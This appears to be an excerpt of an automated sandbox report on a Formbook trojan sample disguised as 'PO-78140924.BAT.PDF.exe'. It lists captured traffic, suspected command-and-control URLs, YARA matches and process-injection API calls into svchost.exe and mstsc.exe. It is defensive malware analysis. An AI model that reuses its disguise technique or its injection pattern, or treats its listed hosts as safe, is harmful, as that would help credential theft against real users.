0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 2c 33 30 30 69 2c 34 30 30 2c 34 30 30 69 2c 36 30 30 2c 36 30 30 69 2c 37 30 30 2c 37 30 30 69 2c 38 30 30 2c 38 30 30 69 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2f 63 73 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 61 62 6c 65 73 20 49 63 6f 6e 73 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 63 73 73 2f 66 61 62 6c 65 73 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 26 Sep 2024 13:25:00 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OWVRwH4o6es9cjRv9KQrITzRg2KDIR%2BsbB4vGKVMxFspfW7ZdvE1tyPEK1GgciZs0GZxZGO43cv1FKkEn6nYLYyMI%2F88tCw8sF%2Fn6r8xIkK2ldEGGmP7x%2BIDIGGfKPcqDmY30A%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8c9393d46f097d0b-EWRContent-Encoding: gzipData Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 85 de 61 3c 40 88 85 2e 87 6c 44 c1 85 6e 3c 41 ea 8c 4d 20 9d 94 31 82 bd bd 54 2d 88 6b 97 ae 1e bc 9f 8f 87 a1 0c c9 d5 15 06 f6 e4 b0 c4 92 d8 b5 eb 16 8e b9 c0 2e df 84 d0 be 4c b4 cf 4a 5d 61 97 69 9a f5 cc 52 58 1d 86 e6 7b 11 1a 87 f6 1d cf 6c 75 4b 59 fa 28 f7 cf cc 2e 34 bb 3c 59 19 03 1e 46 4f 14 a5 87 92 81 e2 d5 77 89 e1 70 da 6f c1 0b c1 26 68 1e 18 2e 1a 59 28 4d c0 aa 59 61 f4 3d 83 31 7f c4 af 11 0f 27 a7 bf a8 24 02 00 00 0d 0a Data Ascii: a7M0a<@.lDn<AM 1T-k.LJ]aiRX{luKY(.4<YFOwpo&h.Y(MYa=1'$
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 26 Sep 2024 13:25:03 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=crm9UGmSKpf08C3wAoPeM%2F09gSKvJtzPxskaWgjSa2cigzSTY8pZ4z9oDcb3zyg2wQLHivAoqsVBmHYZUVIse8y5cUKh9PoyxXvnmAeNWfweGgQwvpw290brO5ZfR3dZGZMHxA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8c9393e7ad8a42eb-EWRContent-Encoding: gzipData Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 85 de 61 3c 40 88 85 2e 87 6c 44 c1 85 6e 3c 41 ea 8c 4d 20 9d 94 31 82 bd bd 54 2d 88 6b 97 ae 1e bc 9f 8f 87 a1 0c c9 d5 15 06 f6 e4 b0 c4 92 d8 b5 eb 16 8e b9 c0 2e df 84 d0 be 4c b4 cf 4a 5d 61 97 69 9a f5 cc 52 58 1d 86 e6 7b 11 1a 87 f6 1d cf 6c 75 4b 59 fa 28 f7 cf cc 2e 34 bb 3c 59 19 03 1e 46 4f 14 a5 87 92 81 e2 d5 77 89 e1 70 da 6f c1 0b c1 26 68 1e 18 2e 1a 59 28 4d c0 aa 59 61 f4 3d 83 31 7f c4 af 11 0f 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0a<@.lDn<AM 1T-k.LJ]aiRX{luKY(.4<YFOwpo&h.Y(MYa=1'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 26 Sep 2024 13:25:06 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IProemyRG98En7CWZdF5GfaX%2FSemz5Ye%2BaDogSHz%2FU3WGZsXphsfVu4nAYsd1MLoJaxK1nz%2BqW7CmqVrraUXmpxK8CCNoNnbvuyhZRFApA2N1VLsn%2BlD%2BvpUWVFo%2FsnxdOtvlA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8c9393fb0e5918bc-EWRContent-Encoding: gzipData Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 85 de 61 3c 40 88 85 2e 87 6c 44 c1 85 6e 3c 41 ea 8c 4d 20 9d 94 31 82 bd bd 54 2d 88 6b 97 ae 1e bc 9f 8f 87 a1 0c c9 d5 15 06 f6 e4 b0 c4 92 d8 b5 eb 16 8e b9 c0 2e df 84 d0 be 4c b4 cf 4a 5d 61 97 69 9a f5 cc 52 58 1d 86 e6 7b 11 1a 87 f6 1d cf 6c 75 4b 59 fa 28 f7 cf cc 2e 34 bb 3c 59 19 03 1e 46 4f 14 a5 87 92 81 e2 d5 77 89 e1 70 da 6f c1 0b c1 26 68 1e 18 2e 1a 59 28 4d c0 aa 59 61 f4 3d 83 31 7f c4 af 11 0f 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0a<@.lDn<AM 1T-k.LJ]aiRX{luKY(.4<YFOwpo&h.Y(MYa=1'$0

Source: YKkstfciYBQ.exe, 00000003.00000002.3900775999.00000000063C2000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.b5x7vk.agency
Source: YKkstfciYBQ.exe, 00000003.00000002.3900775999.00000000063C2000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.b5x7vk.agency/zznj/
Source: mstsc.exe, 00000004.00000003.2351304274.000000000767E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: mstsc.exe, 00000004.00000003.2351304274.000000000767E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: mstsc.exe, 00000004.00000003.2351304274.000000000767E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: mstsc.exe, 00000004.00000003.2351304274.000000000767E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: mstsc.exe, 00000004.00000003.2351304274.000000000767E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: mstsc.exe, 00000004.00000003.2351304274.000000000767E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: mstsc.exe, 00000004.00000003.2351304274.000000000767E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: YKkstfciYBQ.exe, 00000003.00000002.3899395542.000000000490C000.00000004.80000000.00040000.00000000.sdmp, mstsc.exe, 00000004.00000002.3897855714.000000000554C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Open
Source: mstsc.exe, 00000004.00000003.2346362902.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000004.00000002.3896033202.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: mstsc.exe, 00000004.00000003.2346362902.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000004.00000002.3896033202.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: mstsc.exe, 00000004.00000003.2346362902.00000000006C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2
Source: mstsc.exe, 00000004.00000003.2346362902.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000004.00000002.3896033202.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: mstsc.exe, 00000004.00000003.2346362902.00000000006C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033E
Source: mstsc.exe, 00000004.00000003.2346362902.00000000006C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033LMEM
Source: mstsc.exe, 00000004.00000003.2346362902.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000004.00000002.3896033202.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033k
Source: mstsc.exe, 00000004.00000003.2346362902.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000004.00000002.3896033202.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: mstsc.exe, 00000004.00000003.2346362902.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000004.00000002.3896033202.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: mstsc.exe, 00000004.00000003.2345245031.0000000007659000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: YKkstfciYBQ.exe, 00000003.00000002.3899395542.00000000050E6000.00000004.80000000.00040000.00000000.sdmp, mstsc.exe, 00000004.00000002.3897855714.0000000005D26000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://secure.sahibinden.com/login?return_url=http%3A%2F%2Fwww.mfgarage.net%2F3lu7%2F%3Fvf5pwn%3Dnz
Source: YKkstfciYBQ.exe, 00000003.00000002.3899395542.0000000004456000.00000004.80000000.00040000.00000000.sdmp, mstsc.exe, 00000004.00000002.3897855714.0000000005096000.00000004.10000000.00040000.00000000.sdmp, mstsc.exe, 00000004.00000002.3899373295.0000000007390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://whois.gandi.net/en/results?search=ultraleap.net
Source: mstsc.exe, 00000004.00000003.2351304274.000000000767E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: YKkstfciYBQ.exe, 00000003.00000002.3899395542.0000000004456000.00000004.80000000.00040000.00000000.sdmp, mstsc.exe, 00000004.00000002.3897855714.0000000005096000.00000004.10000000.00040000.00000000.sdmp, mstsc.exe, 00000004.00000002.3899373295.0000000007390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gandi.net/en/domain
Source: mstsc.exe, 00000004.00000003.2351304274.000000000767E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe

Code function: 0_2_00012344 GetCursorPos,ScreenToClient,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetWindowLongW,

0_2_00012344

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe

Code function: 0_2_0009CB26 NtdllDialogWndProc_W,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SetCapture,ClientToScreen,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_0009CB26

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.3895831173.0000000000480000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3897012807.0000000000D10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3897058690.0000000000D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2158074372.0000000003B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2157680976.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2158514500.0000000004200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3897432800.0000000002360000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.3895831173.0000000000480000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.3897012807.0000000000D10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.3897058690.0000000000D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.2158074372.0000000003B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.3900775999.0000000006310000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.2157680976.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.2158514500.0000000004200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.3897432800.0000000002360000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Binary is likely a compiled AutoIt script file

Source: PO-78140924.BAT.PDF.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: PO-78140924.BAT.PDF.exe, 00000000.00000002.2043823400.00000000000C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_e3465d58-a
Source: PO-78140924.BAT.PDF.exe, 00000000.00000002.2043823400.00000000000C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer"	memstr_daa819c9-d

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: PO-78140924.BAT.PDF.exe

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_00013688 NtdllDefWindowProc_W,PostQuitMessage,	0_2_00013688
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0009C216 PostMessageW,GetFocus,GetDlgCtrlID,_memset,GetMenuItemInfoW,GetMenuItemCount,GetMenuItemID,GetMenuItemInfoW,GetMenuItemInfoW,CheckMenuRadioItem,NtdllDialogWndProc_W,	0_2_0009C216
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_00011290 NtdllDialogWndProc_W,GetClientRect,GetCursorPos,ScreenToClient,	0_2_00011290
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0009D422 NtdllDialogWndProc_W,	0_2_0009D422
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0009D4A8 GetSystemMetrics,GetSystemMetrics,MoveWindow,SendMessageW,SendMessageW,ShowWindow,InvalidateRect,NtdllDialogWndProc_W,	0_2_0009D4A8
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0009C502 GetCursorPos,TrackPopupMenuEx,GetCursorPos,NtdllDialogWndProc_W,	0_2_0009C502
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0009C5E7 SendMessageW,NtdllDialogWndProc_W,	0_2_0009C5E7
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0009C668 DragQueryPoint,SendMessageW,DragQueryFileW,DragQueryFileW,_wcscat,SendMessageW,SendMessageW,SendMessageW,SendMessageW,DragFinish,NtdllDialogWndProc_W,	0_2_0009C668
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0001167D NtdllDialogWndProc_W,	0_2_0001167D
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_000116B5 NtdllDialogWndProc_W,	0_2_000116B5
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_000116DE GetParent,NtdllDialogWndProc_W,	0_2_000116DE
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_000136E5 NtdllDefWindowProc_W,	0_2_000136E5
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0009D7F6 NtdllDialogWndProc_W,	0_2_0009D7F6
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0001189B NtdllDialogWndProc_W,	0_2_0001189B
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0009C8CA NtdllDialogWndProc_W,	0_2_0009C8CA
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0009C8F9 NtdllDialogWndProc_W,	0_2_0009C8F9
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0009C928 NtdllDialogWndProc_W,	0_2_0009C928
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0001192B NtdllDialogWndProc_W,GetSysColor,SetBkColor,745AC8D0,NtdllDialogWndProc_W,	0_2_0001192B
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0009C973 NtdllDialogWndProc_W,	0_2_0009C973
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0009C9A8 ClientToScreen,NtdllDialogWndProc_W,	0_2_0009C9A8
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_00011AC2 NtdllDialogWndProc_W,	0_2_00011AC2
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0009CAE6 GetWindowLongW,NtdllDialogWndProc_W,	0_2_0009CAE6
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0009CB26 NtdllDialogWndProc_W,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SetCapture,ClientToScreen,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,	0_2_0009CB26
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0009BF9A NtdllDialogWndProc_W,	0_2_0009BF9A
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0009BFF6 ReleaseCapture,SetWindowTextW,SendMessageW,NtdllDialogWndProc_W,	0_2_0009BFF6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042C553 NtClose,	2_2_0042C553
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C735C0 NtCreateMutant,LdrInitializeThunk,	2_2_03C735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72B60 NtClose,LdrInitializeThunk,	2_2_03C72B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72DF0 NtQuerySystemInformation,LdrInitializeThunk,	2_2_03C72DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C74340 NtSetContextThread,	2_2_03C74340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C73090 NtSetValueKey,	2_2_03C73090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C73010 NtOpenDirectoryObject,	2_2_03C73010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C74650 NtSuspendThread,	2_2_03C74650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72BE0 NtQueryValueKey,	2_2_03C72BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72BF0 NtAllocateVirtualMemory,	2_2_03C72BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72B80 NtQueryInformationFile,	2_2_03C72B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72BA0 NtEnumerateValueKey,	2_2_03C72BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72AD0 NtReadFile,	2_2_03C72AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72AF0 NtWriteFile,	2_2_03C72AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72AB0 NtWaitForSingleObject,	2_2_03C72AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C739B0 NtGetContextThread,	2_2_03C739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72FE0 NtCreateFile,	2_2_03C72FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72F90 NtProtectVirtualMemory,	2_2_03C72F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72FA0 NtQuerySection,	2_2_03C72FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72FB0 NtResumeThread,	2_2_03C72FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72F60 NtCreateProcessEx,	2_2_03C72F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72F30 NtCreateSection,	2_2_03C72F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72EE0 NtQueueApcThread,	2_2_03C72EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72E80 NtReadVirtualMemory,	2_2_03C72E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72EA0 NtAdjustPrivilegesToken,	2_2_03C72EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72E30 NtWriteVirtualMemory,	2_2_03C72E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72DD0 NtDelayExecution,	2_2_03C72DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72DB0 NtEnumerateKey,	2_2_03C72DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C73D70 NtOpenThread,	2_2_03C73D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72D00 NtSetInformationFile,	2_2_03C72D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72D10 NtMapViewOfSection,	2_2_03C72D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C73D10 NtOpenProcessToken,	2_2_03C73D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72D30 NtUnmapViewOfSection,	2_2_03C72D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72CC0 NtQueryVirtualMemory,	2_2_03C72CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72CF0 NtOpenProcess,	2_2_03C72CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72CA0 NtQueryInformationToken,	2_2_03C72CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72C60 NtCreateKey,	2_2_03C72C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72C70 NtFreeVirtualMemory,	2_2_03C72C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72C00 NtQueryInformationProcess,	2_2_03C72C00
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045635C0 NtCreateMutant,LdrInitializeThunk,	4_2_045635C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04564650 NtSuspendThread,LdrInitializeThunk,	4_2_04564650
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04564340 NtSetContextThread,LdrInitializeThunk,	4_2_04564340
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562C70 NtFreeVirtualMemory,LdrInitializeThunk,	4_2_04562C70
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562C60 NtCreateKey,LdrInitializeThunk,	4_2_04562C60
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562CA0 NtQueryInformationToken,LdrInitializeThunk,	4_2_04562CA0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562D10 NtMapViewOfSection,LdrInitializeThunk,	4_2_04562D10
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562D30 NtUnmapViewOfSection,LdrInitializeThunk,	4_2_04562D30
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562DD0 NtDelayExecution,LdrInitializeThunk,	4_2_04562DD0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562DF0 NtQuerySystemInformation,LdrInitializeThunk,	4_2_04562DF0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562EE0 NtQueueApcThread,LdrInitializeThunk,	4_2_04562EE0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562E80 NtReadVirtualMemory,LdrInitializeThunk,	4_2_04562E80
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562F30 NtCreateSection,LdrInitializeThunk,	4_2_04562F30
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562FE0 NtCreateFile,LdrInitializeThunk,	4_2_04562FE0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562FB0 NtResumeThread,LdrInitializeThunk,	4_2_04562FB0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045639B0 NtGetContextThread,LdrInitializeThunk,	4_2_045639B0
